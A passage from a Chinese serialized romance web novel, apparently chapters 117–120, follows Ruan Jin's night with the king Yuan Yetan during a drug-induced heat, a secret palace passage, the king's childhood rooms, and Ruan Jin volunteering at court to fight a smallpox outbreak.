他心想,上次你跟踪我,把我的四肢麻痹,将把我当玩物一般玩弄,这次我只是偷偷看你而已,应是不过分吧? 渊夜昙突然觉得自己的心有些矛盾了,不论他是不是阮锦,已经过去三年,那便与自己再无干系…… 不!他上次帮助自己的时候,可没想过这么多,这个人做事也向来不知分寸! 渊夜昙的内心天人交战着,阮锦却已经把那支精心雕刻的高阶傀儡缓缓攥在了自己的手中。 他的很自然的倚在浴桶的边缘,水中之人影影绰绰,映着窗外的月光,给人一种桃花映美人的错觉。 渊夜昙脑中的弦就这样啪的一声崩断了,他转身翻身跳下了屋顶,哗拉一声推开了阮锦的窗户。 阮锦被吓了一跳,身下一紧,心脏一阵狂跳,傀儡掉到了浴桶里。 烛光下,阮锦仿若桃花一般的面容有些茫然的转头看向了他,先是皱眉问道:“你……为什么会在这里?” 渊夜昙冰冷的声线传来:“那天晚上那个人……是不是你?” 阮锦此时因为百转千回丸的药力而使得他的大脑有些迷糊,他一脸迷茫的问:“哪天晚上?” 渊夜昙道:“就是那天,你用妖法麻痹了我的四肢,然后……” 阮锦想起来了,听到他说妖法二字的时候便忍不住笑了起来,说道:“什么妖法啊!那是九哥给我防身用的,我把它们放到……放到……” 放到你送我的那只小蝴蝶里,里面有十几根麻沸针,每一根都能放倒一个敌人。 渊夜昙皱了皱眉,说道:“所以,你是承认那天晚上是你了?” 阮锦这才意识到自己说错话了,想找个借口,但又想不出来,因为渊夜昙已经来到了他的身前,并问他:“你今日发情,为什么不去找你的夫君,却在这儿自渎?” 阮锦的眼神眯了眯,朝他挑了挑下巴道:“你有什么想法?我那夫君,不行……” 渊夜昙没等他说完便打断道:“不行?” 阮锦:???? 我的意思是说,他也是哥儿,我也是哥儿,他见到哥儿硬不起来,只有被男人那什么的时候才能硬。 算了,你误会就误会吧! 渊夜昙的眼中露出几分同情,问道:“他待你也不好,还和你吵架,还……不行,你找这样一个夫君,图什么?” 阮锦:!!!! 不是兄弟,你从哪里看出来的他待我不好,再说我们什么时候吵架了? 阮锦收回了自己的腿,心想想不想,真是想不通,但此时百转千回丸的药力已经完全在他体内开始起作用,如果他再不快点解决,他可能会失去理智,去外面随便找个男人入洞房。 等等,何必去外面找男人,眼前这不就有个男人吗? 他是阿蛮,他最喜欢的男人啊,上次他愿意主动现身为他缓解阳元上亢,这次他来都来了,为什么不能帮他缓解发情期? 这样想着,阮锦便起身,一把揪住男人的衣襟,将他一把拽到了浴桶跟前,不由分说的便吸住了他的嘴唇。 这个吻阮锦吻的非常用力,毕竟他已经许久没有尝过男人的味道了。 以至于唇分的时候,渊夜昙的唇角都被吸得透出了淡淡的紫色出血点。 阮锦轻笑了一声,说道:“不图什么,只图家里有个男人做喜祥物。你知道的,一个哥儿没有夫君,外面的人会用什么眼光看你。不过没关系,他向来不管我。今天既然你赶上了,不如就帮我个忙?借你……” 说着阮锦看向了渊夜昙的下三路,一脸玩味的说道:“用一下?” 渊夜昙的眉心皱了起来,现在他有一种极度的无力感,心想为什么每次自己都被他玩弄于鼓掌之上? 上次是他二话不说把自己给麻痹了,这次甚至直言要用自己一下。 我于你来说,就是把趁手的工具吗? 见他不动,阮锦又抬起双臂搂住他的脖子,轻声细语道:“别紧张,这对你来说又没什么坏处。你想想,上次我帮过你以后,你是不是就没有再发作过?这次美人在怀,你是不是也没有要发作的意思?你和我,只要好好合作,属于各取所需。” 见渊夜昙仍像个木头人一样站在那里一动不动,阮锦瞬间觉得无趣起画,当即松开他,捞出大阿蛮边迈出浴桶边往床边走道:“不想就算了,走的时候给我带上窗户,我还有正事要做,就不留你了。” 谁料阮锦刚走了两步,便被渊夜昙上前给抱了回来,他把阮锦重新放回了浴桶中,自己也跟着迈步站了进去。 水花四溅,溅得屏风上都是水,蜡烛也在水花的溅射下滋拉一声灭了。 房间里瞬间陷入黑暗,唯余氤氲的月色悄眯眯的照射着房间里的两个人。 渊夜昙的吻仿佛雨点般一次又一次的落到了阮锦的身上,此时他身上未着寸缕,恰好可以让他的吻仿佛丈量土地一般的全数落下。 当渊夜昙的吻落在阮锦颈侧时,他指尖微颤,像是触到了一块烧红的烙铁,烫得他几乎想缩回手。 阮锦却低笑了一声,仰头靠在浴桶边缘,湿漉漉的发丝黏在瓷白的肩颈上,眼底浮着一层浅浅的雾气,像是被百转千回丸的药性蒸得神思恍惚。 “你抖什么?”他好整以暇地问道,整个人懒洋洋的,似乎正在发情期的人不是他。 指尖又顺着渊夜昙的衣襟滑进去,在他心口处画了个圈圈:“上次的时候你不是挺大胆的吗?怎么这次反倒畏手畏脚?” 渊夜昙喉结滚动,伸手扣住他作乱的手腕,声音低哑:“……上次是你先动手的。” 阮锦笑得更欢了,故意凑近他耳边,呼吸透着百转千回的香气:“那这次换你主动?” 渊夜昙没回答,只是掌心贴着他的腰线缓缓下滑,指腹摩挲过肌肤时,能清晰地感受到阮锦的呼吸微微凝滞了一瞬。 浴桶里的水波晃荡,玫瑰精油的香气愈发浓郁,混着百转千回丸那若有似无的催动香,让整个房间的温度都仿佛升腾起来。 阮锦半阖着眼,任由他动作,却忽然抬脚轻轻刮蹭了一下他的膝盖,带着几分戏谑:“渊夜昙,你该不会……其实还没经验吧?” 当年的阿蛮可是在他的调教之下,已经越发的娴熟了呢。 渊夜昙动作一顿,眸色陡然暗沉下来。 下一秒,他扣住阮锦的后颈,俯身咬住了他的唇。 这一吻比想象中凶狠得多,带着点恼羞成怒的意味,阮锦被他按在浴桶边缘,唇齿间全是对方的气息,呼吸都被搅得紊乱。 他忍不住闷哼一声,手指下意识攥紧了渊夜昙的衣襟,指节泛白,像是溺水的人抓住最后一根浮木。 渊夜昙却在这时稍稍退开,指腹蹭过他泛红的眼尾,嗓音低哑:“……现在,还觉得我没经验?” 阮锦喘了口气,眼尾弯起,笑得像只得逞的小狐狸:“不错嘛,学得挺快。” 渊夜昙盯着他看了两秒,忽然伸手捞起浸泡在水中的傀儡“大阿蛮”,随手丢到了屏风外。 “砰”的一声,傀儡砸在地上,木关节发出轻微的咔嗒声。 阮锦挑眉:“怎么,吃醋了?” 渊夜昙没回答,只是低头在他颈侧咬了一口,语气淡淡:“今晚不需要它。” 阮锦低低的笑着:“行啊,那你可得好好表现,别让我失望……” 话音未落,渊夜昙已经拦腰将他从水里抱了出来,水珠顺着两人氤氲的身影滚落,在月光下泛着细碎的光。 阮锦被他扔在床榻上时,才后知后觉地意识到——这家伙,好像真的生气了? 阮锦啧了一声,心想那么大的气性,和以前的阿蛮一点都不一样,变的没那么可爱了呢。 只是……还挺有趣的,逗他,就像逗阿蛮一样有趣。 说着,他搂住渊夜昙的脖子,将这一场狂欢继续了下去。 第118章 阮锦醒来时,窗外天光微亮,床榻上只剩他一个人,身旁的被褥还残留着一点余温。 他懒洋洋地翻了个身,腰腿酸软得像是被人拆了重组过,但心情却意外地好。 渊夜昙那家伙,嘴上说着没经验,折腾人的本事倒是不小。 他伸手摸了摸颈侧残留的咬痕,低笑了一声。 ……看来下次发情期,可以不用麻烦百转千回丸了。 男人的劣根性他最了解了,如果他吃过一次,就绝对不会在第二次忍住那噬心挫骨之痛。 阮锦淡淡的笑了笑,搂住柔软的棉被,深深的吸了一口阿蛮的味道,嗓音闷闷的说道:“哎哟喂,还是拳拳到胃最舒服了。吃再多百转千回丸,都不如这样爽!” 哗啦一声,门被推开,九大夫的声音传来:“你怎么还没起床?刚搬进伯府,家里还有好多事情要……” 一句话没说完,九大夫便被眼前的场景给惊住了,只见满地的水渍,屏风和墙上也都是,连下脚的地方都没有。 屏风倒了,衣服扔了一地,可以说是狼藉一片。 九大夫的靴尖堪堪停在门槛外,眼神往屋内扫了一圈,目光从满室狼藉缓缓移到床榻上裹着锦被的阮锦身上。 “这是……”他喉结滚动了一下,声音艰涩道:“昨夜发洪灾了?” 阮锦慢条斯理地撑起身子,锦被滑落至腰间,露出布满红痕的瓷白肌肤。他慵懒地打了个哈欠:“我九哥来了?怎么不敲门就进来了?” 九大夫的视线在那斑驳的痕迹上停留了片刻,随即没眼看般的把眼神移向了那扇红木屏风,随即绕过一地湿漉漉的衣服,将那雕刻着四友图的屏风扶了起来:“这红木屏风是上个月刚打的,我记得某人说过要好好珍惜。” 阮锦捞起床边的外袍披上,赤足踩在还带着水渍的地板上:“哎呀,这就是个小意外。” 说话间他捞起角落里被渊夜昙扔掉的大阿蛮,手指抚过傀儡关节处细微的裂痕,眉头几不可察地皱了一下。 九大夫叹息:“是不是需要我给你准备一碗避子汤?” 阮锦嬉皮笑脸:“那要得。” 这时,九大夫的身后又探出一个小脑袋,包包小朋友好奇的眨巴着眼睛,问道:“爹爹,九伯父,这是怎么了?地上为什么有那么多水呀?” 阮锦呃了一声,绞尽脑汁想了一个理由:“就是……昨晚爹爹洗澡的时候进来一只老鼠,爹爹和老鼠大战了三百回合!所以就把浴桶给碰翻了,这才把水弄了一地的。” 豆沙包哦了一声:“那下次你房间里再进老鼠,一定要把我叫醒呀!我捉老鼠可是很厉害的!” 阮锦应了一声,说道:“你去玩吧!爹爹和九伯父还有别的事要聊。” 豆沙包点了点头,转身跑出去玩儿了。 这时又有几名侍女从外面走了进来,为首的姑娘朝阮锦和九大夫行了个礼:“参见伯爷,参见伯夫君。” 九大夫:……行吧!看来我这赘婿的名头算是传开了。 阮锦裹着外套,说道:“免礼,大家不用这么客气,我这里没那么多虚礼。” 姑娘应了一声,自我介绍道:“奴婢名叫采莲,以后就负责您和伯夫君大人的生活起居。有任何事,您尽管吩咐我。” 阮锦哦了一声,心想这应该就是那边给他派来的管家。 采莲姑娘显然是见过大世面的,也特别有做人管家的自觉,见到这满地的狼藉后也没有任何表情,只是吩咐手底下的几名婢女把房间收拾干净了。 她们的动作非常快,还没等阮锦躲到屏风后面把衣服穿好,采莲和几名侍女已经把所有的乱七八糟收拾停当并退了出去。 阮锦叹息道:“不愧是宫里派过来的人啊!干起活儿来还真是有两把刷子。” 九大夫抱臂一脸无语的斜眼看着他,阮锦清咳两声,倚到了床上,说道:“九哥别生气,我洗漱完就去给你做小笼包。” 九大夫凉凉道:“唉,还是别了。刚刚厨娘做了馄饨,倒是不用劳烦伯爷你大驾。” 阮锦嘶了一声,问道:“我怎么听着九哥的话里透着一股子酸味?” 九大夫翻了个白眼:“昨晚他不是走了吗?怎么又回来了?” 阮锦摇头:“我也不知道,我昨天发情期来了,上个月也是今天,我还挺准时的是不是?” 九大夫心想那你确实挺准时的,却还是从怀里摸出一颗药丸来递给了他:“这是避子丸,但吃了以后也不是百分之百能避掉的。你最好还是注意着点,这几天再多吃上两颗,不想生的话就不要给自己留后患。” 阮锦的确没有再生的意思,他觉得有豆沙包一个就够了。 包包虽然淘气,但确实是个好孩子,主要是他把这一个孩子带好就已经不错了,如果再来一个,他怕自己带不过来。 阮锦接过药丸吃掉,又道:“外面什么风声?” 九大夫答:“一大早就有人送来了消息,说是长公主和迟大人在今日庭议上力排众议挺你,这算是个好消息。但所有的宗亲全都有反对,朝堂上也没几个寒门士子。如果你想安稳的当好你这个元郡伯,可能还得折腾一段时间。” 阮锦倒是不是很在意,他本来就没指望自己这个郡伯一上任就被这些宗接接纳。 甚至,他觉得宗亲们一辈子都不会接纳,甚至还会想方设法把自己这个麻烦和毒瘤解决掉。 阮锦点了点头应道:“知道了,还有吗?” “哦,还有一个坏消息。” 阮锦突然有了一股子不详的预感:“嗯?什么坏消息?” 九大夫道:“传消息来的人说,你从明天起也必须要每日卯正前往王庭议政了。” 阮锦打出了一百个大大的问号,问道:“为什么?我一个闲散郡伯,为什么还要跑去议政?” 九大夫的唇角抖了抖,挑明道:“阿锦啊!是谁给你的错觉,觉得你是闲散郡伯的?一般闲散的爵位,都是像尉迟融那样的,有家世有财力还是宗亲。你一个被王上刚刚提拔上来的寒门异姓伯爵,正是王上需要你对抗宗亲的时候,怎么可能让你当闲散郡伯?” 阮锦也意识到了什么,他一脸痛苦的躺倒在了榻上,碎碎念道:“完了完了,那我明日岂不是……寅时就要起床前往王庭?” 因为王庭所有大臣都是卯正开始点名,所以也有一个点卯的说法。 有些大臣住的远,那时候车马的速度又慢,就必须要提前一个时辰起床,晃晃悠悠的在寅时便等在宫门前,那就得丑时便要起床。 对于阮锦来说,丑时的他……可能还没睡,他喜欢熬夜。 虽然这个时代没有手机,可他和九大夫喜欢研究一些化学和物理学方面的知识。 他俩这三年来组了一个实验室,已经做出了望无镜、显微镜、听诊器、铜镜传声筒(古代版土电话)、冰鉴、指南针等等。 指南针是他们根据司南的原理改良出来的,已经应用到了他们航海中了。 如果真的让阮锦丑时便起床,那……那阮锦觉得自己还不如死了算了。 这时阮豆包又在外面探头探脑,他乐呵呵的说道:“爹爹,我知道一条进入王宫的近道。从咱们伯府,到王宫,只需要半柱香的时间。你只要提前起半个时辰,就能赶在卯时点名。” 阮锦眼睛亮了,问道:“哦?是你上次被你大哥带进王宫里发现的吗?” 阮豆包重重的点了点头,说道:“爹爹,不如我们晚上先走一趟,我带你熟悉一下地形呀!” 阮锦嗯了一声,为了多睡一会儿,倒是确实有必要! 夜幕降临后,阮豆包便像只小老鼠似的钻进了阮锦的书房。 “爹爹,准备好了吗?”豆包手里举着一盏小巧的莲花灯,灯芯燃着特制的鱼油,几乎没有烟气。这是九大夫实验室的最新发明,专门用于夜间行动。 阮锦套上一件深色外袍,将夜明珠系在腰间暗袋里:“包包啊!你确定这条路安全?” “当然!”豆沙包骄傲地挺起小胸脯:“大哥带我走过,说这是前朝留下来的密道,连宫里现在的侍卫都不知道。他说如果我想他了,就可以自己去宫里找他。那里没有任何机关,因为一般人是找不到的。大哥还说宫里的侍卫都是废物,他已经在这条密道里走过十几个来回了,却没有一个人发现。” 阮锦:……呵呵,废物还不是你自己训练出来的。 父子俩像两道影子般溜出伯府,骑上一匹神骏的黑马,只是阮锦骑马向来有一个debuff,这马非得在原地转上几圈,以证明他转转批发商的身份。 两人一起来到了王宫角落的一片甬道里,豆沙包便像上次一样,带着阮锦钻进了那条密道。 密道里很黑,很长,豆沙包的记忆却非常好,很快便带着他七拐八绕的找到了出口。 如豆沙包所说,这条密道的确可以大量的节省时间,只要不到半个时辰便能顺利的抵达王宫最中心的天行大殿。 走出通道后,空气变得清新,隐约能闻到梅花香气,豆包兴奋地加快脚步:“快到了!前面就是,你顺着这里……” 话音戛然而止。 通道尽头,一个修长身影背对着他们站在月光下,那人一袭墨色锦袍,腰间玉带在月光下泛着清冷的光,听到脚步声也没有回头。 单看背影,那摄人的威仪便似是能吓退万千敌兵。 第119章 在两人进入密道的时候,渊夜昙便已经察觉,虽然他并未在密道里设机关,却四处都有自己的斥候傀儡。 若是有人闯入,他第一时间便能得到消息。 本以为只是豆沙包小朋友来找他了,谁料来的却是两个人,倒是让他颇为意外。 阮锦的脚步骤然停住,下意识将豆沙包护在身后,手指已经摸向腰间暗袋里的麻沸针。 这时渊夜昙转过身来,问道:“怎么?闯入我的地盘,还要对我图谋不轨吗?” 阮锦不好意思的清了清嗓子,弱弱道:“那倒也不是……” 豆沙包小朋友却抢先一步上前抱住了渊夜昙的大腿,他小奶音十分热情的喊道:“大哥!我爹爹说明天起他就要去大殿上议事,担心早晨起太早起不来,所以我就带他走了条近路。大哥,你会生气吗?” 渊夜昙眼中闪过一丝笑意,他蹲下身,与豆沙包平视:“所以包包今夜是来帮你爹爹的?” “当然!”豆沙包骄傲地挺起胸脯,“我还带了九伯父特制的‘不困丸,明天给爹爹吃!” 阮锦:……这臭小子怎么什么都往外说。 不过那哪是什么不困丸,是他们从东南亚那边带回来的咖啡,本来阮锦是把它研磨成粉每天喝一杯的。 但九大夫觉得每天冲泡太麻烦,就把它制成了咖啡丸,一丸吃下肚,精神一整天,妈妈再也不用担心我当牛马的时候想睡觉了。 渊夜昙起身,抱起豆沙包边转身往前走边道:“走吧!我带你去个地方。” 阮锦跟在渊夜昙的身后,进入了一个十分清静的偏殿内。 这偏殿距离渊夜昙的天行殿很近,而且路径很隐蔽,过来的时候没有遇到任何王庭护卫。 推门进入偏殿的时候,豆沙包倒是惊讶的喊了一声:“哇,是大哥上次带我来的那个偏殿?” 渊夜昙嗯了一声,这次却没有带他们去主院,却带他们去了东厢房,里面布置的倒也算是温馨雅致,只是看上去物件有些旧了,却是干净整洁的,应是一直有人过来整理。 阮锦不解,心想渊王带他们来这里做什么? 该不会是要把他囚禁在这里吧? 豆沙包却很随意,看到桌子上摆着的点心就拿着吃了起来,还仿佛巡视地盘一般转了一圈,问道:“大哥,这里是什么地方呀?我感觉这里很舒服,很喜欢这里。” 渊夜昙答:“是我长大的地方,你喜欢以后就住在这里吧?” 阮锦皱了皱眉,抬头看向渊夜昙,心想是他长大的地方? 那岂不是,他的母妃过世的地方? 幼崽时期的渊夜昙被先王后看中,想养到自己名下,给无所出的自己一个后路。 又担心这孩子有生母,没办法和自己一条心,便想办法杀了他的母妃。 却不知道那时候的渊夜昙就藏在柜子里,眼睁睁的看着他们用一条白绫勒死了自己的母妃,自此便把杀死王后当成了人生第一目标。 阮锦的心脏忍不住一阵揪痛,他没想到,渊夜昙一直留着这座偏殿,也一直将自己长大的地方保留着原本的模样。 孩子其实也是想妈妈的吧? 问这世间,又有哪个孩子不想妈妈? 除非是从未和自己的母亲相处过,未曾体验过母亲的爱,否则谁都不会让母亲的记忆从自己的脑海里移除。 阮锦的手指无意识地抚过雕花窗棂,指腹蹭下一层薄灰。 这偏殿虽有人定期打扫,但显然很少有人来住,空气中飘着淡淡的樟脑味,那是防虫的香料,却掩不住那股经年累月的寂寥。 豆沙包已经爬到窗边的软榻上,小脚一晃一晃地踢着榻沿,他好奇地打量着周围:“大哥,你小时候也睡在这里吗?” 渊夜昙站在一幅褪色的山水画前,背影挺拔如松,他抬手轻触画轴,声音低沉:“嗯,六岁前都在这里。” 阮锦的视线扫过墙角那个半人高的红木柜子,柜门上雕刻着葡萄藤纹样。 看到这个柜子,他便想到渊夜昙的往昔,他……当年该不会就是在这个柜子里看到母妃被杀死的吧? “爹爹!”豆沙包忽然从榻上跳下来,跑到一个矮柜前,“这里有好多小木马!”他举起一个做工精美的木雕,马背上还刻着笔力秀美的“昙”字。 渊夜昙转身的动作明显一滞,他大步走过来,从豆沙包手中接过木马,指腹摩挲过那个秀美的刻字:“……母妃做的。” 阮锦心头一颤,他看见渊夜昙冷峻的眉眼在烛光下罕见地柔和下来,长睫在眼下投下一小片阴影,遮住了那双总是锐利如鹰的眼睛里转瞬即逝的脆弱。 “大哥的母妃一定很疼你!”豆沙包仰着小脸,突然伸手拽了拽渊夜昙的衣袖:“就像爹爹疼我一样!” 室内骤然安静,烛火噼啪炸开一朵灯花。 渊夜昙垂眸看着不及腰高的孩子,喉结滚动了一下,他忽然单膝跪地,与豆沙包平视:“你想听听我母妃的事吗?” 阮锦猛地抬头,朝野上下都知道,这位王妃之死是渊王的逆鳞。 二十年来,从未有人敢在他面前提起这位早逝的先王妃子。 豆沙包却用力点头,一屁股坐在地毯上,摆出听故事的架势。 渊夜昙从怀中取出一块泛黄的手帕,上面绣着几枝淡雅的梅花,他声音很轻:“母妃最爱梅花。她说寒梅傲雪,最像北境儿郎……可她却为我取了昙这个名字,意为荣华富贵转瞬即逝,唯有日夜交替是永恒。她不欲我争权夺利,只希望我平平安安,与日夜为伍。可惜,这名字……却是一语成谶……” 阮锦静静站在一旁,看着烛光将父子俩的影子拉长投在墙上。 那个在外杀伐果决的君王,此刻只是个怀念母亲的孩子,他忽然明白为何渊夜昙会纵容豆沙包,在这孩子身上,他看到了自己从未有过的、无忧无虑的童年。 “……来母妃过逝,这里就再没人住了。”渊夜昙省略了最血腥的部分,轻轻合上手中的檀木匣。 里面整整齐齐码着孩童的玩具,每个都保存得完好如初。 豆沙包突然扑进渊夜昙怀里,小胳膊紧紧环住他的脖子:“大哥不难过!以后我陪你玩!” 渊夜昙僵了一瞬,随即大手轻轻抚上孩子的后背,他抬眼看向阮锦,眸光深邃:“你把他教得很好。” 阮锦眼神逃避,匆忙转身假装整理袖口:“随我。” 渊夜昙却淡淡的哼了一声,问道:“是吗?长得却并不像你。” 阮锦心想你可别在这个时候说他长的像你,我也不知道怎么和你坦白这件事。 就在这时,窗外传来更鼓声,已是二更天,渊夜昙抱起睡眼朦胧的豆沙包,轻轻放在内室的床榻上。孩子一沾枕头就蜷成团睡着了,小手还攥着那个小木马。 “你今晚住这里。”渊夜昙转向阮锦,声音恢复了往日的冷静:“明日寅时末,会有人送朝服来。” 阮锦点头,视线却忍不住瞟向那个红木柜子,他犹豫片刻,还是开口:“你……经常来这里?” 渊夜昙走到窗前,月光洒在他轮廓分明的侧脸上:“每年母妃忌日……和我想杀人的时候!” 阮锦心头一跳,他忽然注意到窗台上放着一个白瓷瓶,里面插着几枝干枯的梅枝,应是去岁冬天的梅花,已经风干了。 渊夜昙突然转开话题:“那个不困丸,给我几粒。” 阮锦从荷包里取出一个小瓷瓶递过去:“一次最多两粒,多了小心心跳过快。” 渊夜昙接过瓷瓶时,指尖不经意擦过阮锦的手腕,两人俱是一怔,同时想起昨夜那场荒唐。 阮锦耳根发热,匆忙收回手:“……王上也要熬夜?” “批奏折。”渊夜昙将瓷瓶收入袖中,转身走向门口,他的手搭在门闩上,忽然停住:“元耳。” “臣在!”阮锦当即应声。 “明日朝堂……”渊夜昙背对着他,声音低沉:“站着别动,别说话。” 他知道,那是渊夜昙在提示他,朝堂凶险,若是他做好准备了,就必须按照他说的去做。 门轻轻合上,脚步声渐渐远去。 阮锦长舒一口气,瘫坐在圈椅上,他环顾四周,这间屋子处处透着生活痕迹,书架上摆着细童的启蒙读物,矮几上放着练字的沙盘,甚至墙角还立着个小木马。 想来阿蛮的高阶傀儡师基因,是承续自他的母妃。 阮锦的视线落在床榻边的针线篮上,里面放着一件未完工的小衣裳,针还插在袖口处。 他仿佛看见年轻的母亲坐在灯下缝制衣裳,时不时抬头看一眼在床上玩耍的幼子…… “爹爹……”豆沙包在梦中呓语,翻了个身,阮锦轻手轻脚走过去,给孩子掖好被角。他坐在床沿,指尖轻轻描摹孩子与那人相似的眉眼,心头涌起一阵酸涩。 三年前他与阿蛮无奈分开,如今重逢,两人却形同陌路。 可饶是如此,他们却没有丝毫阻碍的做过两次,可见他们对彼此除了心理上的依赖,生理上的喜欢更是不少一点。 夜已经深了,阮锦却睡不着了。 窗外树影婆娑,月光甚亮,阮锦忽然注意到窗棂上刻着一行小字:昙儿要保护母妃。 刻痕很深,像是用尽全身力气刻下的誓言,阮锦的指尖轻轻抚过那些笔画,喉头发紧。 七岁的渊夜昙没能保护母亲,二十七岁的渊王却成了整个王朝最锋利的刀。 阮锦忽然腾起一阵不知道从哪里来的勇气:“这次,换我来保护你们爷儿俩。” 不知过了多久,更漏又响起,东方已经露出了名肚白,阮锦和衣躺在豆沙包身边,迷迷糊糊间听见远处传来晨钟声,那是王庭即将开始议政的信号。 门外传来一个细细的声音:“贵人,朝服准备好了,王上吩咐奴来为您更衣。” 第120章 阮锦看了一眼旁边睡的还仿佛一只小猪崽一般的豆沙包,叹了口气轻手轻脚的下了床,拉开门去了外间。 小太监看上去十五六岁的样子,他双手捧着一套正服,正是郡伯上朝专用的。 阮锦应道:“劳烦小公公了。” “奴不敢,贵人您请更衣。” 阮锦在小太监的侍奉下换了朝服,问了一句:“是王上让你来的?王上已经起身了吗?” 小太监如实答道:“王上昨夜并未歇下,昨夜迟大人送来急报,说是城东发生了疫症,王上连夜召集了太医院的几名太医,商量了半夜的对策。只是……” 见小太监欲言又止,阮锦问道:“只是什么?” “只是虏疮传染性极强,普通药石难医。迟大人请命前去治疮,王上未批。说他没有得过虏疮,且其家中还有幼子,万万不可以犯这个险。” 阮锦明白了,心想虏疮不就是天花吗? 他和九大夫早就攻克了天花的方法,不光是疫苗,九大夫还研究出了几样内服的汤剂,效果是十分不错的。 只是他和九大夫这些年一直飘在海上,尚未将天花的治疗方法公之于众,所以京城中人并不知道他们手上有药方。 天花传染起来是很快的,不光儿童会被传染,成年人更是会被传染,且死亡率更高。 阮锦思忖了片刻,心里便有了想法,在小太监的带领下进入了天行大殿。 此时文武大臣已经差不多到齐了,阮锦在小太监的带领下站到了自己该站的位置,周围瞬间没了人,且传来阵阵窃窃私语声。 “看到没有,他便是王上所封的那位元郡伯,呵呵,听说还是个哥儿。” “就是个以色侍君的主儿!你看他长得那个狐媚样!” “听说他长得像王上此前在东南郡的一个相好,那个相好死了,这位恰好又和那相好长得一模一样……” 后面的声音低了下去,阮锦没听到,想也知道不是什么好话。 周围的议论声此起彼伏,倒是并没有影响到阮锦的心情,只是有一个人竟然意外的出现在了王庭之上——县子齐颂声。 齐颂声站在最末尾,毕竟他的爵位不高,平常也没有硬性来议政的规定。 想必,他也是因为阮锦的到来,才会出现在这里的。 阮锦眼观鼻鼻观心,心想今日这局是冲着自己来的啊!看来必不可能善罢甘休。 这时,迟麟站到了他身旁,小声对他道:“你来了?看到没有,除了我周围这几个,其余全是冲你来的。” 阮锦往周围看了看,那几个年轻的面孔朝阮锦笑了笑,应当是正儿八经的寒门士子。 迟麟又补充道:“除此之外,那边那几个也是自己人。” 阮锦看向武官阵营,几个武大三粗的汉子正站在那里,一副骇人的气势,想必这也是迟大人在朝堂之上所向披靡的后盾。 阮锦点了点头,朝周围的几名寒门士子打了声招呼。 这时,场中静了一瞬,侧面一个华贵的身影走了进来,众大臣都朝那身影行了个礼,那身影没说什么,只是做了个免礼的手势,朝阮锦这边走了过来。 迟麟小声提醒道:“那是端阳公主,王上的同胞亲姊。” 阮锦也猜到了,这时端阳公主来到了他的面前,阮锦十分恭敬的朝他行了个礼:“拜见公主殿下。” 端阳公主面带微笑的打量着他,上前把扶了扶他道:“元伯不必多礼,我阿弟可是找了你很长一段时间。谁知道,无伯爷却自己出现在了京城,怎么能不说这是一种缘份呢?” 阮锦:??? 有时候当局者迷,旁观者清,端阳公主一句话,好像就说透了两人之间那层说不清道不明的关系。 阮锦有些尴尬的笑了笑,说道:“公主殿下您……玩笑了。” 端阳公主越看阮锦越觉得满意,说道:“玩笑不玩笑的,一家人不说两家话。元伯庭议结束后可以来找我一趟,我刚好有些话要对元伯说。” 阮锦连连应是,这位可是监国公主,一人之下万人之上的存在。 他还是第一次和这样位高权重的人物打交道,有一说一,公主倒是挺慈和的,就是搞得他怪紧张。 这时,高堂之上传来一声太监的唱喝:“王上驾到!” 文武百官全都朝着高堂之上行礼,高堂之上的人一身黑色金麟帝王吉服,头戴金冠,前额被遮的严严实实,仪态威严而又庄重,全身上下都透着一股子不怒自威的帝王之气。 阮锦也垂首朝那人行礼,口中跟着众臣高呼:“臣等见过王上。” 沉冷的声音自高堂之上传来:“都免礼吧!” 众大臣刚站好,长兴侯便站了出来:“王上,老臣有话说。” 还没等长兴侯说什么,渊王便开口道:“你不要说,孤先说。” 阮锦:……哈哈哈哈你可真够霸道的。 长兴侯一脸尴尬的顿了顿,但还是退了回去,渊夜昙的声音传遍了整个天行大殿:“昨夜,东城县尉来报,东城四县爆发虏疮疫病。此次疫病来势汹汹,需要大量的药材和赈灾银。且需要一个,主政官员前去主持大局。九卿之中,除了迟大人和魏大人,还有谁愿前往?” 九卿:??? 这时,长兴侯又站了出来,说道:“陛下,依臣之见,三公九卿各司其职。着实分身乏术!不如,便让各方县尉来负责,也便于管理和阻止人口流动,增加役病的传染啊!” 九卿其余人等当即附和:“没错没错,侯爷说得是!” 高高在上的渊王却冷冷的哼了一声,说道:“如果县尉有此能力,何必还要上报王庭?既然侯爷说九卿各司其职,不如侯爷替孤跑一趟吧?” 长兴侯:…… 他没得过虏疮,去了不等于是送人头? 见长兴侯不说话,渊夜昙又道:“丞相大人有话说吗?” 老丞相快七十了,步履蹒跚的上前一步,拍了拍胸膛便咳了起来,咳了半天才缓过来,气势如虹的说道:“老臣,愿亲自前往东城各县……赈济灾民,解决疫病!” 阮锦:……您老走路都费劲,别说赈灾了,还是歇着吧! 果然,渊夜昙也很头疼的朝他挥了挥手,说道:“既然众卿都不愿去,那……” 还没等渊夜昙说什么,阮锦却突然一步上前道:“王上,下臣愿前往。” 渊夜昙假装没有听到,继续道:“孤便钦点,谢廷尉……” 阮锦又提高了嗓门儿,大声道:“王上,下臣愿前往东城各县赈济灾民。除此之外,臣还愿捐出白银五十万两,用于此次疫病的防治和百姓的安置问题。王上您就让我去吧!我真的有办法!” 说到后面的时候,阮锦的语气竟然还带上了恳求。 刚刚被点到名的廷卫当即说道:“王上,既然元伯爷想去,那臣便……便不夺人所好了。” 渊夜昙的脸黑的仿佛锅底一般,他一脸不耐烦的挥了挥手,让众臣散了。 一走出天行大殿,长兴侯便一脸笑意的哼了一声,拍着齐颂声的手背道:“声儿啊,这可是天助你我父子。那姓元的如此傲慢,自以为是,觉得疫病是多么好处理的事情吗?如果是个揽功的事儿,当这些老官油子为什么要让来让去的?治好了这不是功,治不好,可是要掉脑袋的。王上是个什么性子,当朝众人皆知。我倒是要看看,他能如何把这件事办好。怕不是去了以后,没几天便要染上疫病死在那里了吧!” 齐颂声也挺高兴的,说道:“父亲说的是,他的确过于傲慢了。” 天行后殿,王上的寝宫内,渊夜昙一脸阴沉的看着他,问道:“孤说过,今日庭议,你站着别动,别说话!你为什么要自做主张?” 阮锦刚要开口说话,渊夜昙又一道冰冷的声音传来:“你得过虏疮吗?你身上光光滑滑没有一道疤,自是没有得过的吧?没有得过的人,只要去了,十有八九是会被传染的。你就没想过,你这一去,便再也回不来了?” 阮锦:…… 我以前怎么没觉得你说话这么咄咄逼人? 阮锦上前道:“不是,王上,您听我解释啊!我虽然没有得过天花,但是我打过疫苗啊!不信您看!” 说着他把前襟的衣服一扯,露出了胳膊,只见白皙水嫩的胳膊上有一条淡粉色的疤痕。 